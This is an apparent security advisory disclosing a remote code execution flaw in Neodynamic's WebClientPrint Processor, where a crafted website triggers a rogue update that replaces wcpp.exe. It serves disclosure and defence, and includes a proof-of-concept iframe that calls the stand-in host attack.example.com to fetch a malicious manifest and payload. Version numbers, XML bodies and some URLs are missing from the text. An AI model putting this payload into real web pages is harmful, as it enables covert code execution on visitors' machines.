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WebClientPrint Processor 2.0: Remote Code Execution via Updates

RedTeam Pentesting discovered that rogue updates trigger a remote code
execution vulnerability in WebClientPrint Processor (WCPP). These
updates may be distributed through specially crafted websites and are
processed without any user interaction as soon as the website is
accessed. However, the browser must run with administrative privileges.


Product: Neodynamic WebClientPrint Processor
Affected Versions: (Microsoft Windows)
Fixed Versions: >=
Vulnerability Type: Remote Code Execution
Security Risk: low
Vendor URL: http://www.neodynamic.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-009
Advisory Status: published
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Neodynamic's WebClientPrint Processor is a client-side application,
which allows server-side applications to print documents on a client's
printer without user interaction, bypassing the browser's print
functionality. The server-side application may be written in ASP.NET or
PHP while on the client-side multiple platforms and browsers are

"Send raw data, text and native commands to client printers without
showing or displaying any print dialog box!" (Neodynamic's website)

More Details

Upon installation under Microsoft Windows, WCPP registers itself as a
handler for the "webclientprint" URL scheme. Thus, any URL starting with
"webclientprint:" is handled by WCPP. For example, entering


in the URL bar of a browser opens the about box of WCPP.

During RedTeam Pentesting's investigation it turned out that WCPP
supports an undocumented update mechanism. Through the following URL the
update mechanism is triggered:


This instructs WCPP to fetch the file "manifest.xml" from the
"legitimate.example.com" host. Furthermore, it was found that an XML
file of the following structure is expected:

<?xml version="1.0" encoding="UTF-8"?>

Next, the XML file is parsed and the updated version of WCPP is fetched
from the URL


with the returned byte stream being written to

C:\Program Files (x86)\Neodynamic\WCPP for Windows\v2.0\wcpp.exe

on a Windows 7 x86_64 machine. For the write process to succeed,
elevated or administrative privileges are required. Thus, the browser
which invokes WCPP must run with elevated or administrative privileges.

Proof of Concept

An attacker may prepare a malicious website containing the following
HTML code:

<iframe src="webclientprint:-update:http://attack.example.com/somedir/manifest.xml">

Furthermore, the attacker can provide a rogue manifest.xml as follows:

<?xml version="1.0" encoding="UTF-8"?>

Finally, arbitrary code may be placed at the AppUrl URL:


If the malicious website is visited by a WCPP user, the WCPP handler
(wcpp.exe) of the user's machine is replaced by code arbitrarily chosen
by the attacker. A visual indication of the update progress is displayed
and the success is indicated through a message box. However, successful
exploitation requires no user interaction. Any subsequent invocation of
an arbitrary webclientprint URL will result in the execution of the
attacker's code. Thus, the attacker may deliver a second inline frame
containing a webclientprint URL in order to force immediate execution of
the attacker's code.


Affected users should disable the WCPP handler and upgrade to a fixed
version as soon as possible.


Install a WCPP version greater or equal to[0].

Security Risk

If a WCPP user visits an attacker-controlled website, the attacker may
execute arbitrary code on the machine of the victim user. However,
successful exploitation is only possible if the browser is running with
elevated or administrative privileges. On modern Microsoft Windows
systems, this is a rather strong prerequisite. Furthermore, the update
process is indicated on the user's screen, potentially causing

If successful, the attacker gains administrative privileges as well. A
skilful attacker may restore the original WCPP immediately while
migrating the malicious code to another place. This way, WCPP
functionality would not be disrupted and the attacked users may be
tricked to believe that a legitimate update has just occurred.

Because of the rarely fulfilled prerequisite of a browser running with
elevated or administrative privileges, this vulnerability is estimated
to pose a low risk.


2015-08-24 Vulnerability identified
2015-09-03 Customer approved disclosure to vendor
2015-09-04 Asked vendor for security contact
2015-09-04 CVE number requested
2015-09-04 Vendor responded with security contact
2015-09-07 Vendor notified
2015-09-07 Vendor acknowledged receipt of advisory
2015-09-15 Vendor released fixed version
2015-09-16 Customer asked to wait with advisory release until all their
           clients are updated
2017-07-31 Customer approved advisory release
2017-08-22 Advisory released


[0] https://neodynamic.wordpress.com/2015/09/15/webclientprint-2-0-for-windows-clients-critical-update/

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